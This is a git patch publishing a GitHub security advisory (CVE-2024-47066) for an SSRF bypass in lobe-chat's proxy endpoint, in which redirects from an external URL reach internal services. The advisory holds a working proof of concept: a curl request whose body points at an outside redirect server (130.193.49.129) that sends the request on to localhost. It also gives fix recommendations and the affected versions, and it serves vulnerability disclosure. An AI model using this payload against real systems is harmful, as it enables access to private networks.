From 42443d868b814903d54793315edf2743f2d950ba Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 23 Sep 2024 20:31:39 +0000 Subject: [PATCH] Publish GHSA-3fc8-2r3f-8wrg --- .../GHSA-3fc8-2r3f-8wrg.json | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 advisories/github-reviewed/2024/09/GHSA-3fc8-2r3f-8wrg/GHSA-3fc8-2r3f-8wrg.json diff --git a/advisories/github-reviewed/2024/09/GHSA-3fc8-2r3f-8wrg/GHSA-3fc8-2r3f-8wrg.json b/advisories/github-reviewed/2024/09/GHSA-3fc8-2r3f-8wrg/GHSA-3fc8-2r3f-8wrg.json new file mode 100644 index 00000000000..924a8f17094 --- /dev/null +++ b/advisories/github-reviewed/2024/09/GHSA-3fc8-2r3f-8wrg/GHSA-3fc8-2r3f-8wrg.json @@ -0,0 +1,76 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3fc8-2r3f-8wrg", + "modified": "2024-09-23T20:30:11Z", + "published": "2024-09-23T20:30:11Z", + "aliases": [ + "CVE-2024-47066" + ], + "summary": "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)", + "details": "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n console.log(req.url);\n res.writeHead(200, {'Content-Type': 'text/html'});\n res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@lobehub/chat" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.19.13" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.19.12" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg" + }, + { + "type": "WEB", + "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47066" + }, + { + "type": "WEB", + "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lobehub/lobe-chat" + }, + { + "type": "WEB", + "url": "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-09-23T20:30:11Z", + "nvd_published_at": "2024-09-23T16:15:06Z" + } +} \ No newline at end of file